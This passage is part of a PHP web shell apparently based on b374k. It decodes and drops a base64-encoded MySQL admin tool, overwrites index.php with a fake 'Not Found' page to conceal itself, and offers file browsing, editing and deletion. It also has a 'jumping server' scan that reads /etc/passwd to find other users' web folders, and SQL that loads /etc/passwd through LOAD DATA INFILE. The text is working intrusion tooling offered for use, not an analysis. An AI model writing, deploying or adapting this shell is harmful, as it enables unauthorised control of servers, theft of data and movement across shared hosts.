aG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_deCode($sqlshell));
fclose($file);
Chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_deCode($data));
fclose($indexshell);
echo "<iframe src=MySQL/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<Form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_Form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"Text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_Form');\" />
</Form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create Time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last Modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last Accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&Edit=$file\">Edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_Form');\">Rename</a> | <a href=\"?y=$pwd&Delete=$file\">Delete</a> | <a href=\"?y=$pwd&dl=$file\">Download</a> </td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">Text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=Code\">Code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=Image\">Image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='Image')){
echo "<div style=\"Text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='Code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET['Edit']) && ($_GET['Edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "File Saved @ <span class=\"gaya\"></span> ".$time;
else $msg = "Failed To Save";
@fclose($filez);
}
else $msg = "Permission Denied";
}
if(!isset($file)) $file = $_GET['Edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<Form action="?y=<?php echo $pwd; ?>&Edit=<?php echo $file; ?>" method="post">
<table class="CMDbox"><tr><td colspan="2"><Textarea class="output" name="content">
<?php echo $content; ?></Textarea>
<tr><td colspan="2">Save as : <input onMouseOver="this.focus();" id="CMD" class="inputz" type="Text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</Form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo "<center><br><br><h1><big>Byee ..</big></h1><br><META HTTP-EQUIV=refresh CONTENT=1;URL=?>";
}
/////////////////////////////////////////////////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
?>
<Form action="?y=<?php echo $pwd; ?>&x=jumping" method="post">
<?php
echo ' <br><html><link rel="SHORTCUT ICON" href="http://s13.postimg.org/ce61v3yrr/firefox01_02.png"><head><title>' . getenv("HTTP_HOST") . ' - Jumping Server</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off' : die('<center><font size="6" color="#000000" face="Salsa"><b>Error: Safemode = ON</b></font>');
set_time_limit(0);
@$passwd = fopen('/etc/passwd', 'r');
if (!$passwd) {
die('<center><br><font size="6" color="#000000" face="Salsa"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>');
}
$pub = array();
$users = array();
$conf = array();
$i = 0;
while (!feof($passwd)) {
$str = fgets($passwd);
if ($i > 100) {
$pos = strpos($str, ':');
$username = substr($str, 0, $pos);
$dirz = '/home/' . $username . '/public_html/';
if (($username != '')) {
if (is_readable($dirz)) {
array_push($users, $username);
array_push($pub, $dirz);
}
}
}
$i++;
}
echo '<center><p><font size="3" color="#008080" face="Salsa"> [-]==================[ START ]==================[-] <br><br></font>';
Foreach ($users as $user) {
echo "<font size='3' color='#ee0808' face='Salsa'> [Found!] <a href='?y=/home/$user/public_html'> /home/$user/public_html/</a></font><br/>";
}
echo "
<font size='3' color='#008080' face='Salsa'><br>[-]==================[ FINISH ]==================[-] <br></font>
";
echo "
<font size='2' color='#800000' face='Salsa'>[+] Scanners Have Been Completed [+]</font></center>
";
echo '</body></html>';
}
//////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlHost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){$sqlHost = $_GET['sqlHost'];$sqluser = $_GET['sqluser'];$sqlpass = $_GET['sqlpass'];$sqlport = $_GET['sqlport'];if($con = @mysql_Connect($sqlHost.":".$sqlport,$sqluser,$sqlpass)){$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlHost.":".$sqlport;$msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlHost=".$sqlHost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&'>[ Databases ]</a>";if(isset($_GET['db'])) $msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlHost=".$sqlHost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";if(isset($_GET['table'])) $msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlHost=".$sqlHost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";$msg .= "</p><p>version : ".mysql_get_Server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;
CREATE TABLE `b374k_table` ( `file` LONGBLOB Not NULL );
LOAD DATA INFILE '/etc/passwd'
INTO TABLE b374k_table;SELECT * FROM b374k_table;
DROP TABLE IF EXISTS b374k_table;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlHost' value='".$sqlHost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><Textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</Textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$tables = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>Available Tables On ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
while(list($table) = @mysql_Fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
foreach($tables as $table){$msg .= "<tr><td><a href='?y=".$pwd."&x=mysql&sqlHost=".$sqlHost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";}
elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
$db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlHost' value='".$sqlHost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><Textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</Textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_Fetch_row($hasil)){$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
list($total) = mysql_Fetch_row($hasil);
if(isset($_GET['z'])) $page = (int) $_GET['z'];
else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
while($datas = @mysql_Fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "")
$data = " ";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlHost' value='".$sqlHost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onChange='this.form.submit();'>";
for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;}
elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlHost' value='".$sqlHost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><Textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</Textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";@mysql_select_db($db);$querys = explode(";",$query);foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
